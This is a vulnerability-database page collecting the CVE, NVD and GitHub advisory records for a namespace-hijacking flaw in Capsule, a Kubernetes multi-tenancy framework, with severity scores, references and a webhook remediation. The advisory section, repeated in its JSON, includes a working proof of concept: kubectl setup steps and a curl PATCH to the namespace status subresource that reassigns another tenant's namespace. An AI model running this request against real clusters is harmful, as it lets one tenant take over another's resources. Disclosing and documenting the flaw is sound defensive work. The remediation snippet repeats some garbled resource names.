Vulnerability-Lookup

CVE-2026-30963 (GCVE-0-2026-30963)

Vulnerability from cvelistv5 – Published: 2026-06-01 18:00 – Updated: 2026-06-02 14:06

Title

Capsule Namespace Hijacking via subresource

Summary

Capsule is a multi-tenancy and policy-based framework for Kubernetes. To defend against namespace hijacking achieved through update/patch operations on namespaces, Capsule uses a webhook to validate update requests targeting namespaces. However, in Kubernetes, the namespace/finalize and namespace/status subresource APIs can also modify various fields of a namespace, including the metadata field. Prior to version 0.13.0, the webhook does not define interception rules for these subresources. As a result, if a tenant administrator has permission to modify namespace/status or namespace/finalize, they can successfully perform namespace hijacking. Version 0.13.0 fixes the issue. Another mitigation is to add two subresources (namespaces and snamespaces/status with namespace/finalize within it) to the resources list in the ValidatingWebhookConfiguration rules.

Severity

3.9 (Low)


                        
                          CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-20 - Improper Input Validation

Assigner

GitHub_M

References

2 references

URL	Tags
https://github.com/projectcapsule/capsule/securit…	x_refsource_CONFIRM
https://github.com/projectcapsule/capsule/release…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
projectcapsule	capsule	Affected: < 0.13.0

Show details on NVD website

JSON

To clipboard

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      "title": "Capsule Namespace Hijacking via subresource",
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FKIE_CVE-2026-30963

Vulnerability from fkie_nvd - Published: 2026-06-01 19:16 - Updated: 2026-07-22 07:10

Severity

3.9 (Low) - CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L
2.7 (Low) - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/projectcapsule/capsule/releases/tag/v0.13.0	Product, Release Notes
security-advisories@github.com	https://github.com/projectcapsule/capsule/security/advisories/GHSA-2ww6-hf35-mfjm	Exploit, Mitigation, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/projectcapsule/capsule/security/advisories/GHSA-2ww6-hf35-mfjm	Exploit, Mitigation, Vendor Advisory

Impacted products

	Vendor	Product	Version
	projectcapsule	capsule	*

JSON

To clipboard

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    },
    {
      "lang": "es",
      "value": "Capsule es un framework multi-inquilino y basado en pol\u00edticas para Kubernetes. Para defenderse contra el secuestro de espacios de nombres logrado a trav\u00e9s de operaciones de actualizaci\u00f3n/parche en los espacios de nombres, Capsule utiliza un webhook para validar las solicitudes de actualizaci\u00f3n dirigidas a los espacios de nombres. Sin embargo, en Kubernetes, las API de subrecursos namespace/finalize y namespace/status tambi\u00e9n pueden modificar varios campos de un espacio de nombres, incluido el campo de metadatos. Antes de la versi\u00f3n 0.13.0, el webhook no define reglas de intercepci\u00f3n para estos subrecursos. Como resultado, si un administrador de inquilinos tiene permiso para modificar namespace/status o namespace/finalize, puede realizar con \u00e9xito el secuestro de espacios de nombres. La versi\u00f3n 0.13.0 corrige el problema. Otra mitigaci\u00f3n es a\u00f1adir dos subrecursos (namespaces y snamespaces/status con namespace/finalize dentro de \u00e9l) a la lista de recursos en las reglas de ValidatingWebhookConfiguration."
    }
  ],
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}

GHSA-2WW6-HF35-MFJM

Vulnerability from github – Published: 2026-05-28 17:01 – Updated: 2026-06-09 10:50

Summary

Capsule Namespace Hijacking via subresource

Details

Summary

To defend against namespace hijacking achieved through update/patch operations on namespaces, Capsule uses a webhook to validate update requests targeting namespaces. However, in Kubernetes, the namespace/finalize and namespace/status subresource APIs can also modify various fields of a namespace, including the metadata field. The webhook does not define interception rules for these subresources. As a result, if a tenant administrator has permission to modify namespace/status or namespace/finalize, they can successfully perform namespace hijacking.

Details

When Capsule uses a ValidatingWebhookConfiguration to intercept changes to namespace resources, it does not intercept modification requests initiated through namespace subresource APIs (see: https://github.com/projectcapsule/capsule/blob/main/charts/capsule/templates/validatingwebhookconfiguration.yaml#L193). Through subresource APIs, it is still possible to modify the metadata field of a namespace resource, enabling hijacking.

PoC

Open two terminals and create two tenants:

kubectl create -f - << EOF
apiVersion: capsule.clastix.io/v1beta2
kind: Tenant
metadata:
  name: oil
spec:
  owners:
  - name: alice
    kind: User
EOF

./hack/create-user.sh alice solar
export KUBECONFIG=alice-solar.kubeconfig
kubectl create namespace solar-production # alice creates the namespace

kubectl create -f - << EOF
apiVersion: capsule.clastix.io/v1beta2
kind: Tenant
metadata:
  name: attacker
spec:
  owners:
  - name: attacker
    kind: User
EOF

./hack/create-user.sh attacker attacker
export KUBECONFIG=attacker-attacker.kubeconfig

When the attacker has permission to modify namespace/status or namespace/finalize, they can hijack other namespaces. Here we grant the attacker the relevant permissions:

kubectl create clusterrole status --verb=patch --resource=namespaces/status
kubectl create clusterrolebinding status --clusterrole=status --user=attacker

The attacker then sends a PATCH request to namespace/status to hijack the namespace created by alice:

curl -k --cert ./attacker-attacker.crt --key attacker-attacker.key --request PATCH 'https://192.168.201.12:6443/api/v1/namespaces/solar-production/status' \
--header 'Content-Type: application/json-patch+json' \
--data '[
    {
      "op": "replace",
      "path": "/metadata/ownerReferences",
      "value": [
        {
          "apiVersion": "capsule.clastix.io/v1beta2",
            "kind": "Tenant",
            "name": "attacker",
            "uid": "1fcb9c9b-b552-4974-a248-32be66a2188c"
        }
      ]
    }
  ]'

Impact

hijack namespace

Remediation

To mitigate this issue, add the following two subresources to the resources list in the ValidatingWebhookConfiguration rules:

    resources:
    - namespaces
    - namespaces/status
    - namespace/finalize

Severity

3.9 (Low)


                  
                    CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/projectcapsule/capsule"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-30963"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-28T17:01:41Z",
    "nvd_published_at": "2026-06-01T19:16:22Z",
    "severity": "LOW"
  },
  "details": "### Summary\nTo defend against namespace hijacking achieved through update/patch operations on namespaces, Capsule uses a webhook to validate update requests targeting namespaces. However, in Kubernetes, the namespace/finalize and namespace/status subresource APIs can also modify various fields of a namespace, including the metadata field. The webhook does not define interception rules for these subresources. As a result, if a tenant administrator has permission to modify namespace/status or namespace/finalize, they can successfully perform namespace hijacking.\n\n### Details\nWhen Capsule uses a ValidatingWebhookConfiguration to intercept changes to namespace resources, it does not intercept modification requests initiated through namespace subresource APIs (see: https://github.com/projectcapsule/capsule/blob/main/charts/capsule/templates/validatingwebhookconfiguration.yaml#L193). Through subresource APIs, it is still possible to modify the metadata field of a namespace resource, enabling hijacking.\n\n### PoC\nOpen two terminals and create two tenants:\n```\nkubectl create -f - \u003c\u003c EOF\napiVersion: capsule.clastix.io/v1beta2\nkind: Tenant\nmetadata:\n  name: oil\nspec:\n  owners:\n  - name: alice\n    kind: User\nEOF\n\n./hack/create-user.sh alice solar\nexport KUBECONFIG=alice-solar.kubeconfig\nkubectl create namespace solar-production # alice creates the namespace\n```\n\n```\nkubectl create -f - \u003c\u003c EOF\napiVersion: capsule.clastix.io/v1beta2\nkind: Tenant\nmetadata:\n  name: attacker\nspec:\n  owners:\n  - name: attacker\n    kind: User\nEOF\n\n./hack/create-user.sh attacker attacker\nexport KUBECONFIG=attacker-attacker.kubeconfig\n```\n\nWhen the attacker has permission to modify namespace/status or namespace/finalize, they can hijack other namespaces. Here we grant the attacker the relevant permissions:\n```\nkubectl create clusterrole status --verb=patch --resource=namespaces/status\nkubectl create clusterrolebinding status --clusterrole=status --user=attacker\n```\nThe attacker then sends a PATCH request to namespace/status to hijack the namespace created by alice:\n```\ncurl -k --cert ./attacker-attacker.crt --key attacker-attacker.key --request PATCH \u0027https://192.168.201.12:6443/api/v1/namespaces/solar-production/status\u0027 \\\n--header \u0027Content-Type: application/json-patch+json\u0027 \\\n--data \u0027[\n    {\n      \"op\": \"replace\",\n      \"path\": \"/metadata/ownerReferences\",\n      \"value\": [\n        {\n          \"apiVersion\": \"capsule.clastix.io/v1beta2\",\n            \"kind\": \"Tenant\",\n            \"name\": \"attacker\",\n            \"uid\": \"1fcb9c9b-b552-4974-a248-32be66a2188c\"\n        }\n      ]\n    }\n  ]\u0027\n```\n\n### Impact\nhijack namespace\n\n### Remediation\nTo mitigate this issue, add the following two subresources to the resources list in the ValidatingWebhookConfiguration rules:\n```\n    resources:\n    - namespaces\n    - namespaces/status\n\t- namespace/finalize\n```",
  "id": "GHSA-2ww6-hf35-mfjm",
  "modified": "2026-06-09T10:50:49Z",
  "published": "2026-05-28T17:01:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/projectcapsule/capsule/security/advisories/GHSA-2ww6-hf35-mfjm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30963"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/projectcapsule/capsule"
    },
    {
      "type": "WEB",
      "url": "https://github.com/projectcapsule/capsule/releases/tag/v0.13.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Capsule Namespace Hijacking via subresource"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

Action not permitted

CVE-2026-30963 (GCVE-0-2026-30963)

FKIE_CVE-2026-30963

GHSA-2WW6-HF35-MFJM

Summary

Details

PoC

Impact

Remediation

Tags

Sightings

Nomenclature